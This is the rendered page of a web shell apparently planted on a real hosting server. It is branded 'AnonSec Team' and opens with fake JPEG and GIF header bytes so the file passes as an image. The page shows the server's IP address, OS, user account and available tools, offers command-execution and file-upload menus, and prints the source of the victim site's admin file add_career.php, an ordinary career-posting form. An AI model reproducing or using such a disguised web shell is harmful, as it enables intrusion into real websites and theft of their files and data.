����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.17.155.205
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mhmsfzcs/vflyorions.com/admin/assets/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mhmsfzcs/vflyorions.com/admin/assets/../add_career.php
<!DOCTYPE html>
<html lang="en">
<head>

</head>

  
   
    


    
    <script src="tinymce/tinymce.min.js"></script>
    <script src="script.js"></script>

</html>


<?php 

 include 'db.php';
 include 'header.php';
 include 'sidebar.php'; 
 
   $id="";
    $heading="";
    $image="";
    $description="";

if (isset($_POST['add']))
{

 
  $heading=$_POST['heading'];
  $role=$_POST['role'];
  $salary=$_POST['salary'];
//   $image=$_FILES['image']['name']; 
  $schedule=$_POST['schedule'];
  $education=$_POST['education'];
  $experience=$_POST['experience'];
//   $rating=$_FILES['rating']['name']; 
   $language=$_POST['language']; 
   $hour=$_POST['hours']; 
//   $upload='uploads/'.$image;
  
  
 
    $insert2 = $conn->prepare("INSERT INTO `career`(`heading`,`role`,`salary`,`schedule`,`education`,`experience`,`language`,`hour`) VALUES (?,?,?,?,?,?,?,?)");
      
    $insert2->bind_param("ssssssss",$heading,$role,$salary,$schedule,$education,$experience,$language,$hour);
     
       $res=$insert2->execute();
       
        // $destinationfile='assets/product_image/'.$image;
        // move_uploaded_file($_FILES['image']['tmp_name'], $destinationfile);

        //  $destinationfile1='assets/product_image/'.$rating;
        // move_uploaded_file($_FILES['rating']['tmp_name'], $destinationfile1);
       
      

       if($res)
       {
              $_SESSION['status']="Added Successfully";
               $_SESSION['status_code']="success";
       }
       else
       {
               $_SESSION['status']="Oops something went wrong!!";
               $_SESSION['status_code']="error";
       }    
  
}

 
 ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1 class="m-0">Add Product</h1>
          </div><!-- /.col -->
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="#">Home</a></li>
              <li class="breadcrumb-item active">Dashboard</li>
            </ol>
          </div><!-- /.col -->
        </div><!-- /.row -->
      </div><!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
          
          <div class="row">
              
          
          
           <div class="col-sm-9">
          <div class="card card-primary">
              <div class="card-header">
                <h3 class="card-title">Career Page</h3>
              </div>
              <!-- /.card-header -->
              <!-- form start -->
              <form method="POST" enctype="multipart/form-data">
                <div class="card-body">
                  <div class="row">
                    <div class="col-sm-6">

                       <div class="form-group">
                     <label>Job Heading</label>
                     <input type="text"  required="" data-pristine-required-message="Please Enter Job Heading" name="heading" class="form-control" placeholder="Enter heading" />
                      
                                               
                  </div>
                     
                      <div class="form-group">
                     <label>Role & Responsibility </label>
                       <!--<textarea  required="" data-pristine-required-message="Please Enter a Role & Responsibility" name="role" class="form-control" placeholder="Enter Role & responsibility" ></textarea>                        -->
                 <textarea name="role" id="default"  ></textarea>

                  </div>
                  <div class="form-group">
                     <label>Scedule </label>
                           <input type="text"  required="" data-pristine-required-message="Please Enter a Schedule" name="schedule" class="form-control" placeholder="Enter Schedule" />                     
                  </div>
                  
                   <div class="form-group">
                     <label>Education </span></label>
                      <input type="text"  required="" data-pristine-required-message="Please Enter a Education" name="education" class="form-control" placeholder="Enter Education" />
                                                <!--<input type="file"  required="" data-pristine-required-message="Please Upload Image" name="image" class="form-control" placeholder="Image" />-->
                  </div>
                  </div>
                  <div class="col-sm-6">
                  
                  <!-- <div class="form-group">-->
                  <!--   <label>Rating </span></label>-->
                  <!--                 <select name="rating" class="form-control" required>-->
                  <!--                   <option value="">Select</option>-->
                  <!--                   <option value="1">1</option>-->
                  <!--                   <option value="2">2</option>-->
                  <!--                   <option value="3">3</option>-->
                  <!--                   <option value="4">4</option>-->
                  <!--                   <option value="5">5</option>-->
                                                    
                  <!--                  </select>              -->
                  <!--</div>-->
                  
                  <div class="form-group">
                   <label>Salary <span style="color:red;">*</span></label>
                              <input type="text"  required="" data-pristine-required-message="Please Enter a salary" name="salary" class="form-control" placeholder="Enter salary" />                  
                  </div>
                  <div class="form-group">
                   <label>Experience <span style="color:red;">*</span></label>
                    <input type="text"  required="" data-pristine-required-message="Please Enter a Experience" name="experience" class="form-control" placeholder="Enter experience" />
                                                <!--<textarea  required="" data-pristine-required-message="Please Enter a Descripton" name="f_description" class="form-control" placeholder="Enter Full Description" ></textarea>-->
                  </div>
                    
                    <div class="form-group">
                   <label>Language <span style="color:red;">*</span></label>
                    <input type="text"  required="" data-pristine-required-message="Please Enter a Language" name="language" class="form-control" placeholder="Enter Language" />
                                                <!--<textarea  required="" data-pristine-required-message="Please Enter a Descripton" name="f_description" class="form-control" placeholder="Enter Full Description" ></textarea>-->
                  </div>
                  <div class="form-group">
                   <label>Part Time Hours <span style="color:red;">*</span></label>
                    <input type="text"  required="" data-pristine-required-message="Please Enter a Hours" name="hours" class="form-control" placeholder="Enter Hours" />
                                                <!--<textarea  required="" data-pristine-required-message="Please Enter a Descripton" name="f_description" class="form-control" placeholder="Enter Full Description" ></textarea>-->
                  </div>
                 
                    </div>

                  
                  </div>
                   

                  
                </div>
                <!-- /.card-body -->

                <div class="card-footer">
                  <button type="submit" name="add" class="btn btn-primary">Submit</button>
                </div>
              </form>
              <script src="tinymce/tinymce.min.js"></script>
   <script src="script.js"></script>
            </div>
            <!-- /.card -->
            </div>
            
            
           <div class="col-sm-3">
            </div>
            </div>
    
    
    
    
    
    
    
      </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
  
  
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<?php  if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?>
<script>
   new swal({
   title: "<?php echo $_SESSION['status'];?>",
   //text: "You clicked the button!",
   icon: "<?php echo $_SESSION['status_code'];?>",
   button: "OK",
   }).then(function() {
   window.location = "";
   });
</script>
<?php
   unset($_SESSION['status']);
   }
   ?>
<?php include 'footer.php'; ?>
  

AnonSec - 2021